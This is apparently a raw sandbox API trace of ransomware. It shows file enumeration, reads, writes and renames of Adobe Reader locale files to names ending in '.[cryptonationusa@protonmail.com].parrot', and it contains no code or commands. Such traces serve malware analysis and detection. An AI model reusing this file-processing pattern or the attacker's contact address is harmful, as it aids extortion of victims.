ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x215eb880, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xa728, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0251.227] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0251.229] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0251.229] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.229] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0251.229] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0251.229] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0251.230] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.230] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.232] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.232] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb000, lpOverlapped=0x0) returned 1 [0251.233] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.234] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.239] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.239] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.282] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.283] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6c800, lpOverlapped=0x0) returned 1 [0251.309] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.324] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.337] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.337] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.339] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.339] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0251.340] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.340] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\adobecollabsync.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\adobecollabsync.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.349] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.349] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.351] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.351] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x80a00, lpOverlapped=0x0) returned 1 [0251.379] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.399] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\annots.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\annots.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.410] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.410] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.411] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.411] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3600, lpOverlapped=0x0) returned 1 [0251.413] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.414] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\brdlang32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\brdlang32.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.420] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.420] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.422] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.422] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1fe00, lpOverlapped=0x0) returned 1 [0251.426] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\checkers.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\checkers.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.435] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.435] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.436] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.436] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x21e00, lpOverlapped=0x0) returned 1 [0251.440] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.443] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\digsig.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\digsig.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.484] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.484] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.486] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.486] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4c00, lpOverlapped=0x0) returned 1 [0251.488] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.489] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\dva.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\dva.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.496] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.496] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.498] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.498] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0251.499] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.499] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.505] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.505] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.506] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.506] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa600, lpOverlapped=0x0) returned 1 [0251.508] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.509] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\escript.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\escript.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.515] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.515] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.517] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.517] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0251.518] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.518] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.536] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.538] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14400, lpOverlapped=0x0) returned 1 [0251.541] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.545] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\makeaccessible.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\makeaccessible.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.551] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.553] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.553] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14600, lpOverlapped=0x0) returned 1 [0251.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.556] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\multimedia.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\multimedia.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.562] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.563] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.563] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0251.564] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.564] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\pddom.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\pddom.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.570] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.572] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x88400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x88400, lpOverlapped=0x0) returned 1 [0251.596] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.634] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ppklite.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ppklite.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.686] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.686] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.688] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.688] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0251.737] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.737] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 